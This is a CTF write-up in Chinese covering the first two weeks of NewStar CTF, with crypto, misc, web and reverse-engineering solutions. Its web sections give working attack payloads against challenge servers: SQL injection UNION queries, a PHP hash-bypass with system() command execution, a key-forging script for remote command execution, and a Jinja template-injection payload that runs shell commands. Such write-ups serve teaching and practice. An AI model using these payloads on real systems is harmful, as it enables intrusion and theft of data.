Newstar_week1-2_wp

Sol_9發表於2024-10-21

week1 wp

crypto

一眼秒了

n費馬分解再rsa

flag:

import libnum
import gmpy2
from Crypto.Util.number import *
p =  9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483
q =  11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407
e =  65537
c =  48757373363225981717076130816529380470563968650367175499612268073517990636849798038662283440350470812898424299904371831068541394247432423751879457624606194334196130444478878533092854342610288522236409554286954091860638388043037601371807379269588474814290382239910358697485110591812060488786552463208464541069
n = 52147017298260357180329101776864095134806848020663558064141648200366079331962132411967917697877875277103045755972006084078559453777291403087575061382674872573336431876500128247133861957730154418461680506403680189755399752882558438393107151815794295272358955300914752523377417192504702798450787430403387076153

p = gmpy2.iroot(n,2)[0]-10000
while not isPrime(p) : p += 1
q = p + 2
while not isPrime(q) : q += 2
while p*q - n != 0 :
    p = q
    q += 2
    while not isPrime(q) : q += 2

phi_n = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi_n)
m = pow(c, d, n)
print(m)
flag = libnum.n2s(int(m))
print(flag)

b'flag{9cd4b35a-affc-422a-9862-58e1cc3ff8d2}'

Base

4C4A575851324332474E324547554B494A5A4446513653434E564D444154545A4B354D45454D434E4959345536544B474D5134513D3D3D3D

base16

base32

base64

flag{B@sE_0f_CrYpt0_N0W}

xor

from Crypto.Util.number import bytes_to_long, long_to_bytes

# 已知的金鑰和加密後的資料
key = b'New_Star_CTF'
c1 = 8091799978721254458294926060841
c2 = b';:\x1c1<\x03>*\x10\x11u;'

# 恢復 m1
m1 = c1 ^ bytes_to_long(key)
m1_bytes = long_to_bytes(m1)

# 恢復 m2
def xor_bytes(a, b):
    return bytes([x ^ y for x, y in zip(a, b)])

m2 = xor_bytes(c2, key)

# 拼接 m1 和 m2 得到完整的 flag
flag = 'flag{' + m1_bytes.decode('utf-8') + m2.decode('utf-8') + '}'
print(flag)

flag

{flag{0ops!_you_know_XOR!}}

misc

Labyrinth

LSB隱寫

SilentEye開啟發現裡面有二維碼,直接掃

web

會贏嗎

part1

F12

藏在原始碼裡,還給了下一關的目錄

<!-- flag第一部分:ZmxhZ3tXQTB3,開始你的新學期吧!:/4cqu1siti0n -->

part2

稍微看一下程式碼,await等待接受一個引數className,這個引數跟在/api/flag/,就是我們第一關原始碼洩露出來的目錄名,這段程式碼接收後就將POST請求頭補充完整,否則post請求就不會傳遞任何資訊,導致後一個if裡的response.ok的bool值為0,所以只需要我們在控制檯裡將className的正確值給他

只需要呼叫revealFlag函式,將目錄名傳給他,一開始傳的格式不太對,後來發現不需要加/因為他的程式碼裡已經有/了,所以只需要給名字就ok

恭喜你!你獲得了第二部分的 flag: IV95NF9yM2Fs
……
時光荏苒,你成長了很多,也發生了一些事情。去看看吧:/s34l

part3

 document.addEventListener('DOMContentLoaded', function () {
            const form = document.getElementById('seal_him');
            const stateElement = document.getElementById('state');
            const messageElement = document.getElementById('message');

            form.addEventListener('submit', async function (event) {
                event.preventDefault();

  
                if (stateElement.textContent.trim() !== '解封') {
                    messageElement.textContent = '如何是好?';
                    return;
                }

                try {
                    const response = await fetch('/api/flag/s34l', {
                        method: 'POST',
                        headers: {
                            'Content-Type': 'application/json'
                        },
                        body: JSON.stringify({ csrf_token: document.getElementById('csrf_token').value })
                    });

                    if (response.ok) {
                        const data = await response.json();
                        messageElement.textContent = `第三部分Flag: ${data.flag}, 你解救了五條悟!下一關: /${data.nextLevel || '無'}`;
                    } else {
                        messageElement.textContent = '請求失敗,請重試。';
                    }
                } catch (error) {
                    messageElement.textContent = '請求過程中出現錯誤,請重試。';
                }
            });
        });

在控制檯輸入

document.getElementById('state').textContent = '解封';

然後點解封

第三部分Flag: MXlfR3I0c1B, 你解救了五條悟!下一關: /Ap3x

part4

禁用js

{
    "flag": "fSkpKcyF9",
    "nextLevel": null
}

ZmxhZ3tXQTB3IV95NF9yM2FsMXlfR3I0c1BfSkpKcyF9

一眼base64

flag{WA0w!_y4_r3al1y_Gr4sP_JJJs!}

智械危機

進robots.txt會給一個目錄,進去看到是一段php指令碼

題目分析

<?php

function execute_cmd($cmd) {
    system($cmd);    //ls
}

function decrypt_request($cmd, $key) {
    $decoded_key = base64_decode($key);    //key值需要base64編碼  並賦值給了$decoded_key  N2FiZThiMjRiZDAxMzc0NDZmZDMzNmMyMjk4ZmNjYTA=
    $reversed_cmd = '';
    for ($i = strlen($cmd) - 1; $i >= 0; $i--) {   //i為cmd的len-1 =MHb    v4iLgMHb
        $reversed_cmd .= $cmd[$i];                          //將cmd進行了reverse,並賦值給reversed_cmd
    }
    $hashed_reversed_cmd = md5($reversed_cmd);  //將reversed_cmd進行了md5處理     7abe8b24bd0137446fd336c2298fcca0
    if ($hashed_reversed_cmd !== $decoded_key) {     //需要令hashed_reversed_cmd  與  decoded_key 相等 
        die("Invalid key");   
    }
    $decrypted_cmd = base64_decode($cmd);            // cmd :  bHM=   bHMgLi4v    ==gCv4iLv4iLgMHb
    return $decrypted_cmd;
}

if (isset($_POST['cmd']) && isset($_POST['key'])) {
    execute_cmd(decrypt_request($_POST['cmd'],$_POST['key']));
}
else {
    highlight_file(__FILE__);
}
//將cmd需要的指令base64,reverse,md5,base64就是key,指令的base64就是cmd

EXP

import base64
import hashlib

def process_string(input_str):
    # Step 1: Base64 Encode
    base64_encoded = base64.b64encode(input_str.encode()).decode()
    print(f"Base64 Encoded: {base64_encoded}")

    # Step 2: Reverse the string
    reversed_str = base64_encoded[::-1]
    print(f"Reversed: {reversed_str}")

    # Step 3: MD5 Hash (32-bit lowercase)
    md5_hashed = hashlib.md5(reversed_str.encode()).hexdigest()
    print(f"MD5 Hashed: {md5_hashed}")

    # Step 4: Base64 Encode again
    final_base64 = base64.b64encode(md5_hashed.encode()).decode()
    print(f"Final Base64 Encoded: {final_base64}")

    return final_base64

# Example usage:
input_value = "cat ../../../flag"
process_string(input_value)

最終payload:

cmd=Y2F0IC4uLy4uLy4uL2ZsYWc=&key=MTA0YzM0MzVhN2UxYWIyM2E0ZjYzOTlhM2EyYzhhMGU=

headach

抓包直接在response裡

sql

多次嘗試後發現沒有閉合符,是整形注入

id=1 or 1=1#
id=1 order by 2 #
id=1 order by 3 #

3報錯,得到欄位數為2

這裡嘗試爆庫名時,一直回顯為

然後發現讓他前面查詢結果為-1,查詢失敗就可以回顯了

id=-1 union select 1,database() #

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='Fl4g' #

id=-1 union select 1,group_concat(value) from Fl4g #

week2_wp

web

遺失的拉鍊

開啟御劍發現了一個目錄,訪問後給了一個zip壓縮包

裡面有一個網頁的html,兩段php程式碼:index.php pizwww.php

index.php:

<?php
header("Location: index.html");
exit();
?>

訪問index.php自動重定向到index.html

pizwww.php:

<?php
error_reporting(0);
//for fun
if(isset($_GET['new'])&&isset($_POST['star'])){
    if(sha1($_GET['new'])===md5($_POST['star'])&&$_GET['new']!==$_POST['star']){
        //欸 為啥sha1和md5相等呢
        $cmd = $_POST['cmd'];
        if (preg_match("/cat|flag/i", $cmd)) {
            die("u can not do this ");
        }
        echo eval($cmd);
    }else{
        echo "Wrong";

    } 
}

hash強比較,陣列繞過,過濾cat和flag,用tac和*萬用字元

exp:

http://eci-2ze8d3ln9lmig6vvuqa5.cloudeci1.ichunqiu.com/pizwww.php?new[]=1

POST:star[]=2&cmd=system('tac /fla*');

你能在一秒內打出八句英文嗎

進題目後發現需要讓我們在一秒內輸入八句英文才算成功,個人嘗試過對js控制檯進行操作,使其時間固定為1s之內的數值,並且js程式碼禁止了貼上,直接禁用js又會導致根本使用不了這個按鈕,嘗試過抓包直接傳送資料,但是發現回顯是:需要自動重定向到target url,而且直接觀察也能發現每一次的英文句子是會發生改變的,去抓包傳送資料會發錯誤的資料。於是我想到了使用selenium庫,用web自動化測試指令碼去操作,這下面是題目對我們限制的js程式碼(已註釋)

    document.addEventListener('DOMContentLoaded', function() {
            const startTime = Date.now();
            const timerElement = document.getElementById('time-left');
            const submitBtn = document.getElementById('submit-btn');
            const userInput = document.getElementById('user-input');

            userInput.addEventListener('dragover', function(event) {
                event.preventDefault();
            });

            userInput.addEventListener('drop', function(event) {
                event.preventDefault();
            });

            document.addEventListener('contextmenu', function(event) {
                event.preventDefault();
            });

            // 增加一點點難度
            document.addEventListener('keydown', function(event) { //防止複製貼上等操作
                if (event.ctrlKey && (event.key === 'u' || event.key === 'U' || 
                                      event.key === 's' || event.key === 'S' ||
                                      event.key === 'p' || event.key === 'P' ||
                                      event.key === 'i' || event.key === 'I' ||
                                      event.key === 'j' || event.key === 'J' ||
                                      event.key === 'c' || event.key === 'C' ||
                                      event.key === 'v' || event.key === 'V' ||
                                      event.key === 'x' || event.key === 'X')) {
                    event.preventDefault();
                }   //防止f12
                if (event.key === 'F12' || event.key.startsWith('F')) {
                    event.preventDefault();
                }
            });

            let timer = setInterval(function() {  // 時間計算方法,由於這個Date.now是內建函式,而startTime在上面也是由Date.now函式定義的,而startTime是const常量不能透過控制檯改變
                let elapsedTime = ((Date.now() - startTime) / 1000).toFixed(2);
                timerElement.textContent = elapsedTime;

                if (elapsedTime <= 1) {
                    timerElement.className = 'green';
                } else {
                    timerElement.className = 'red';
                }
            }, 10);

            submitBtn.addEventListener('click', function() {
                const inputText = userInput.value;
                const form = document.createElement('form');
                form.method = 'POST';
                form.action = '/submit';
                const input = document.createElement('input');
                input.type = 'hidden';
                input.name = 'user_input';
                input.value = inputText;
                form.appendChild(input);

附上exp

from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.edge.service import Service
from selenium.webdriver.edge.options import Options
from selenium.webdriver.support import expected_conditions as EC
from time import sleep
import re

# 設定Edge選項
edge_options = Options()
edge_options.add_argument("--start-maximized")  # 最大化視窗(可選)

# 指定EdgeDriver的路徑
service = Service(r'C:\Program Files (x86)\Microsoft\Edge\Application\edgedriver_win64\msedgedriver.exe')

# 指定Edge瀏覽器的路徑
edge_options.binary_location = r'C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe'

# 初始化WebDriver
driver = webdriver.Edge(service=service, options=edge_options)

try:
    # 開啟目標網站
    driver.get('http://eci-2ze88xvgd67rn84tc3an.cloudeci1.ichunqiu.com/')  # 替換為目標網站的URL
    # 找到按鈕並點選  去用F12找到按鈕的id
    button = driver.find_element(By.ID, 'start-btn')  # 根據實際情況修改選擇器
    button.click()
    new_url = driver.current_url
    print(f"跳轉後的URL: {new_url}")
    # 等待頁面跳轉完成

        # 獲取頁面內容
    page_content = driver.page_source

    # 列印頁面內容
    print(page_content)
    str_page_content = str(page_content)
    # 定義正規表示式模式
    pattern = r'<p id="text">(.*?)</p>'
    match = re.search(pattern, page_content, re.DOTALL)
    # 執行其他操作...
    if match:
        # 提取匹配的內容
        text_content = match.group(1)
        print(f"提取的文字內容: {text_content}")
    else:
        print("未找到匹配的內容")
    textarea = driver.find_element(By.ID, 'user-input')
    textarea.send_keys(text_content)                                       # send_keys() 是 Selenium 庫中的一個內建方法,用於向網頁元素髮送鍵值。
        # 找到按鈕並點選
    button = driver.find_element(By.ID, 'submit-btn')  # 根據實際情況修改選擇器
    button.click()
finally:
    # 關閉瀏覽器
    driver.quit()

復讀機

payload

{{url_for.__globals__.os.popen('tac /f*').read()}}

RE

UPX

一個簡單的脫殼題,拿到檔案直接脫殼

./upx.exe -d upx

脫完殼之後ida反編譯

進入RC4函式,發現是一個RC4加密在與data比對,而RC4是流密碼,只需要將data拿來RC4加密一次就可以得到flag,這裡直接動調,利用LAZYida將輸入的替換為data,即可得到flag

drink_TEA

個人感覺這題不是簡單,首先了解tea加密,金鑰長度是64位,先用ida檢視反編譯,之後改一下函式名跟變數名使其更好分析

可以看到是進行一次tea加密後,將加密後的資料與unk_140004080做對比,進入tea加密函式

第一個要注意的就是 v4 -= 0x61C88647;正常來說這個位置是加,但是因為他是int型別,所有使用其補碼,為9E3779B9

而對於金鑰,因為其是DWORD型別,需要將字串轉換為陣列大小為4的金鑰,這裡需要手動將其替換成key

為小端序

long key[4]; // 將金鑰轉換為 DWORD 型別
	key[0] = 0x636C6557;
	key[1] = 0x54656D6F;
	key[2] = 0x77654E6F;
	key[3] = 0x72617453;

最後寫出解密指令碼

#include <stdio.h>
#include <string.h>


void tea_decrypt(unsigned int *data, long *key)
{
	unsigned int v3 = data[0];
	unsigned int v4 = data[1];
	unsigned int delta = 0x9e3779b9;
	unsigned int sum = delta * 0x20; // 初始化 sum 為加密結束時的值

	for (int i = 0; i < 32; ++i)
	{
		v4 -= (key[3] + (v3 >> 5)) ^ (sum + v3) ^ (key[2] + 16 * v3);
		v3 -= (key[1] + (v4 >> 5)) ^ (sum + v4) ^ (*key + 16 * v4);
		sum -= delta;
	}

	data[0] = v3;
	data[1] = v4;
}

int main()
{
	
	long key[4]; // 將金鑰轉換為 DWORD 型別
	key[0] = 0x636C6557;
	key[1] = 0x54656D6F;
	key[2] = 0x77654E6F;
	key[3] = 0x72617453;


	unsigned char encrypted_data[] =
	{
	    0x78, 0x20, 0xF7, 0xB3, 0xC5, 0x42, 
		0xCE, 0xDA, 0x85, 0x59, 0x21, 0x1A, 0x26, 0x56, 0x5A, 0x59, 
		0x29, 0x02, 0x0D, 0xED, 0x07, 0xA8, 0xB9, 0xEE, 0x36, 0x59, 
		0x11, 0x87, 0xFD, 0x5C, 0x23, 0x24
	};


	for (int i = 0; i < 32; i += 8)
	{
		tea_decrypt((unsigned int *)&encrypted_data[i], key);
	}

	
	printf("Decrypted data: ");
	for (int i = 0; i < 32; i++)
	{
		printf("%c ", encrypted_data[i]);
	}
	printf("\n");
	
	return 0;
}

執行得到flag

Ptrace

同時用ida開啟father與son,先檢視ida的反編譯

不理解ptrace(PTRACE_POKEDATA, addr, addr, 3);的意思,直接去問ai:

具體來說,ptrace(PTRACE_POKEDATA, pid, addr, value) 的引數含義如下:

  • PTRACE_POKEDATA:指定要執行的操作型別,這裡是向被除錯程序的資料空間寫入資料。
  • pid:被除錯程序的程序ID。
  • addr:在被除錯程序地址空間中的地址,你希望在這個地址處寫入資料。
  • value:要寫入的資料值。

在你的例子中:

  • addr 被用作 pidaddr 引數,這意味著你要向被除錯程序(其PID為addr)的資料空間中某個地址(同樣為addr)寫入數值 3

需要注意的是,這裡的兩個 addr 可能是誤用或者是特定場景下的需求,通常情況下,這兩個引數應該是不同的,一個是目標程序的PID,另一個是你想寫入資料的具體地址。

此外,使用 ptrace 需要有適當的許可權,通常只有當呼叫程序具有對目標程序足夠的許可權時才能成功執行此類操作。這通常意味著呼叫者必須是超級使用者或者兩個程序之間存在特定的關係(如父子關係)。如果許可權不足,ptrace 呼叫將會失敗,並返回錯誤碼。

也就是說,傳入了3到addr這個地址,去看看addr指向哪裡

跳轉至地址處,發現在father沒有這個地方,其實是在son檔案裡,son中跳轉至該處

此時dword_60004040就是傳入該處的3,而byte_60004020就是與輸入加密後做對比的資料,所有可以得到解密指令碼

#include <stdio.h>

void main()
{
	unsigned char enc[32] = {
		0xCC, 0x8D, 0x2C, 0xEC, 0x6F, 0x88, 0xED, 0xEB, 0x2F, 0xED, 0xAE, 0xEB, 0x4E, 0xAC, 0x2C, 0x8D, 
		0x8D, 0x2F, 0xEB, 0x6D, 0xCD, 0xED, 0xEE, 0xEB, 0x0E, 0x8E, 0x4E, 0x2C, 0x6C, 0xAC, 0xE7, 0xAF
	};
	unsigned char flag[32] = {0};
	for ( int i = 0; i < 32; ++i )
		flag[i] = ((int)(unsigned __int8)enc[i] >> 5) | (enc[i] << (8 - 5));

	for ( int j = 0; j < 32; ++j)
		printf("%c",flag[j]);	
}

ezencrypt

開啟jadx反編譯它,找到加密函式

發現先進行了AES,base64加密,後面又進入了連線庫,用ida分析.so檔案

可以看到將經過上面加密的s再進行了enc加密處理,再與mm比對來判斷使用者輸入的flag是否正確,分析enc函式

再分析encc函式

可以發現這其實是一個rc4,所有可以直接寫出指令碼求出進入so層加密前的資料

#include <stdio.h>
#include <string.h>


unsigned char sbox[256];
char key[5] = "meow";


void __fastcall init_sbox(char *key) {
	unsigned __int8 v1;
	int v2 = 0;
	int v3 = 0;
	unsigned int j;

	
	for (unsigned int i = 0; i < 0x100; ++i) {
		sbox[i] = i;
	}

	for (j = 0; j < 0x100; ++j) {
		v1 = sbox[j];
		v3 = (unsigned __int8)(key[v2] + v1 + v3);
		sbox[j] = sbox[v3];
		sbox[v3] = v1;
		if (++v2 >= (unsigned __int64)strlen(key)) {
			v2 = 0;
		}
	}
}


__int64 __fastcall decc(char *key, unsigned char *enc) {
	unsigned __int64 v2;
	__int64 result;
	unsigned __int8 v4;
	int v5 = 0;
	int v6 = 0;
	int i;

	init_sbox(key);
	for (i = 0; ; ++i) {
		v2 = strlen((char *)enc); 
		result = i;
		if (i >= v2) {
			break;
		}
		v6 = (v6 + 1) % 256;
		v5 = (sbox[v6] + v5) % 256;
		v4 = sbox[v6];
		sbox[v6] = sbox[v5];
		sbox[v5] = v4;
		enc[i] ^= sbox[(sbox[v5] + sbox[v6]) % 256];
	}
	return result;
}


void __fastcall dec(unsigned char *enc_1) {
	
	decc(key, enc_1);

	
	int v3 = strlen((char *)enc_1);
	for (int i = 0; i < v3; ++i) {
		enc_1[i] ^= key[i % 4];
	}
}

int main() {
	char key[] = "meow";
	unsigned char enc[44] = {
		0xC2, 0x6C, 0x73, 0xF4, 0x3A, 0x45, 0x0E, 0xBA, 0x47, 0x81, 0x2A, 0x26, 0xF6, 0x79, 0x60, 0x78, 
		0xB3, 0x64, 0x6D, 0xDC, 0xC9, 0x04, 0x32, 0x3B, 0x9F, 0x32, 0x95, 0x60, 0xEE, 0x82, 0x97, 0xE7, 
		0xCA, 0x3D, 0xAA, 0x95, 0x76, 0xC5, 0x9B, 0x1D, 0x89, 0xDB, 0x98, 0x5D
	};

	dec(enc);
	printf("Decrypted: ");
	for (int i = 0; i < 44; ++i) {
		printf("%c", enc[i]);
	}
	printf("\n");
    ;
	return 0;
}

再將這段拿去AES解密即可得到flag

順嘴一提這裡的金鑰是app的標題

Dirty_flowers

直接按照提示nop掉所有的彙編後,分析發現只進行了簡單的異或,這裡直接給出指令碼

#include <stdio.h>
#include <string.h>
int main()
{
	unsigned char data[36] = {
		2, 5, 19, 19, 2, 30, 83, 31, 
		92, 26, 39, 67, 29, 54, 67, 7, 
		38, 45, 85, 13, 3, 27, 28, 45, 
		2, 28, 28, 48, 56, 50, 85, 2, 
		27, 22, 84, 15
	};
	char key[13]="dirty_flower";
	int v2 = strlen(key);
	int len =36;
	for (int i = 0; i < len; ++i )
	{
		data[i] ^= key[i % v2];
	}
	for (int i = 0; i < len; ++i )
 	{
 		printf("%c",data[i]);
 	}
	
    return 0;
}